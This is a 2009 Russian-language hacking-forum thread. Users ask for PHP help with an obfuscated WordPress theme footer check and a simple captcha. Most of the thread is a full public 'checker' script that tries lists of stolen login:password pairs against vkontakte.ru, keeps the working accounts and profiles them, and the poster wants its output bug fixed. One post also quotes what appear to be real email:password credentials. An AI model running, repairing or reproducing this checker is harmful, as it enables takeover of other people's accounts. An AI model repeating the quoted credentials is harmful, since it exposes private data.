ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

10.03.2009, 11:35
|
|
Участник форума
Регистрация: 11.01.2006
Сообщений: 128
Провел на форуме: 612424
Репутация:
55
|
|
Хочу закодировать текст.
<?php
eval(str_rot13('function check_footer(){$l='<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress';$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo 'This theme is released under creative commons licence, all links in the footer should remain intact';die;}}check_footer();'));
eval(str_rot13('function check_header(){if(!(function_exists("check_functio ns")&&function_exists("check_f_footer"))){echo('Th is theme is released under creative commons licence, all links in the footer should remain intact');die;}}'));
?>
Получаю ошибку
Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12
что делаю не так?
|
|
|

10.03.2009, 11:48
|
|
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме: 750298
Репутация:
297
|
|
TERYS посмотри ты там не закрыл в нужных местах кавычку. юзай редакторы с подсветкой кода!
|
|
|

10.03.2009, 13:59
|
|
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
Провел на форуме: 1608606
Репутация:
105
|
|
TERYS, ты забыл экранировать кавычки в нужных местах.
kraken, все у него кавычки на местах.
|
|
|

10.03.2009, 20:18
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Сообщение от awdrg
капча - берется переменная, заносится ее значение на рисунок и он, вместе с хэшем переменной отсылается получателю.
Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
|
|
|

10.03.2009, 20:48
|
|
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме: 750298
Репутация:
297
|
|
TERYS твой код
PHP код:
<?php
eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();'));
eval(str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}'));
?>
|
|
|

10.03.2009, 20:58
|
|
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
Провел на форуме: 1608606
Репутация:
105
|
|
тривиальный пример каптчи:
PHP код:
<?php
session_start();
$c = rand(10000, 99999);
$_SESSION['c']=$c;
$im = imagecreate(100, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
imagestring($im, 5, 0, 0, $_SESSION['c'], $textcolor);
header("Content-type: image/png");
imagepng($im);
?>
рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png
на счет качественной каптчи лучше погугли. есть довольно интерсеные.
Последний раз редактировалось Fuckel; 10.03.2009 в 21:01..
|
|
|

10.03.2009, 21:05
|
|
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме: 1440203
Репутация:
47
|
|
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:
Цитата:TuTu.94@inbox.ru:Ma21212121marua118@m ail.ru:VfhbyfLfybktyrjalex260587@rambler.ru:260587
т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }
if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>
Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
кто поможет разобраться? в долгу не останусь)
|
|
|

10.03.2009, 21:08
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Сообщение от jkSeyv
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:
т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:
кто поможет разобраться? в долгу не останусь)
не тот кусок кода дал.
fwrite не видно что-то)
|
|
|

10.03.2009, 21:34
|
|
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме: 1440203
Репутация:
47
|
|
wildshaman
не тот кусок кода дал. fwrite не видно что-то)
дык, я когда копался, то смотрел по примеру др. php кода, то сам не нашёл ниче такого...
|
|
|

10.03.2009, 21:46
|
|
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме: 1440203
Репутация:
47
|
|
нужны ещё вроде put() либо fputs() посоветовали..
fputs() тока в коде имеется:
PHP код:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }
if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>
Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
<textarea name="list" rows=15 cols=37></textarea><br>
<input type="submit" value="Проверить" >
</p>
</form></center>
list;
echo ("<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
die();
}
$valid = 0;
$invalid = 0;
@$filelog = file_get_contents("log.txt");
set_time_limit(0);
if(!empty($_POST['list']))
{
$accs = split("\n",$_POST['list']);
}
else {
$accs = split("\n",$filelog); }
$accs = array_unique($accs);
if(!empty($accs)) {
$browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
echo '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
foreach($accs as $acc)
{
$pos = strpos($acc, ";");
$pos1 = strpos($acc, ":");
$acc = trim($acc);
if($pos != false) {
$separator = ";"; }
if($pos1 != false) {
$separator = ":"; }
list($login, $pwd) = split($separator, $acc);
$ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'','');
$traffic = $traffic + strlen($ret);
if(preg_match("/\b302 Found\b/is", $ret)) {
fputs($fval, $acc);
$valid++;
}
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
$cookies = array();
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}
$cookies=implode('; ',array_unique($cookies));
$ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($ret);
preg_match('/remixmid=(\d+);/i',$cookies, $id);
preg_match('/У Вас <b>(.*)</i',$ret, $vote);
$votes = $votes + $vote[1];
if(!empty($vote[1])) {
$voteansw = "<td><b>Голосов - $vote[1]</b></td>";
}
else {
$voteansw = "<td>Голосов - 0</td>"; }
$retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($retfri);
preg_match('/Друзья <span>(.*)</i',$retfri, $friends);
$friends = str_replace("(","",$friends);
$friends = str_replace(")","",$friends);
$friends = str_replace("</span></h2>","",$friends);
$friendz = $friendz + $friends[1];
if($friends[1] > 500) {
$friendszzzz = "<b>".$friends[1]."</b>"; }
else {
$friendszzzz = $friends[1]; }
if(strlen($id[1]) < 6) {
$idch = "<b>".$id[1]."</b>"; }
else {
$idch = $id[1]; }
if(!preg_match('/percentGold" style="width:100px">(.*)</',$ret, $rate))
{
preg_match('/percent" style="width:100px">(.*)</',$ret, $rate);
if($rate[1] == "100%") {
$rrrr = "FULL RATE";
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
} else {
$rrrr = "RATE"; }
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc</td> <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
}
else
{
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
$goldcount++;
}
}
usleep(500);
}
function socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
$ret="";
if($method=='GET' && $vars)
{
$service_uri.='?'.$vars;
$vars='';
}
$header="Host: $host\r\n";
$header.="User-Agent: $browser\r\n";
if($addheaders==1)
{
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
}
else if($addheaders==0)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
else if($addheaders==2)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$header.="Pragma: no-cache\r\n";
$header.="Cache-Control: no-cache\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
}
else if($addheaders==3)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: gzip,deflate\r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
if($ref) $header.="Referer: $ref\r\n";
$header.="Connection: close\r\n";
if($cookies)
$header.="Cookie: $cookies\r\n";
$header.="\r\n";
if($proxy)
{
$addquery="$method http://$host$service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
}
else
{
$addquery="$method $service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
}
stream_set_timeout($fp,30);
if(!$fp)
{
print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
return '';
}
fputs($fp,$addquery);
fputs($fp,$header.$vars);
if($sread)
{
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
}
fclose($fp);
return $ret;
}
fclose($fval);
fclose($fbad);
$invalid = $aaaa - $valid;
$ratecount = $valid - $goldcount;
$traffic = $traffic / 1024;
выручайте, знаю, вы сможете
нужно чтоб записывал валидные акки с каждой новой строкой
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|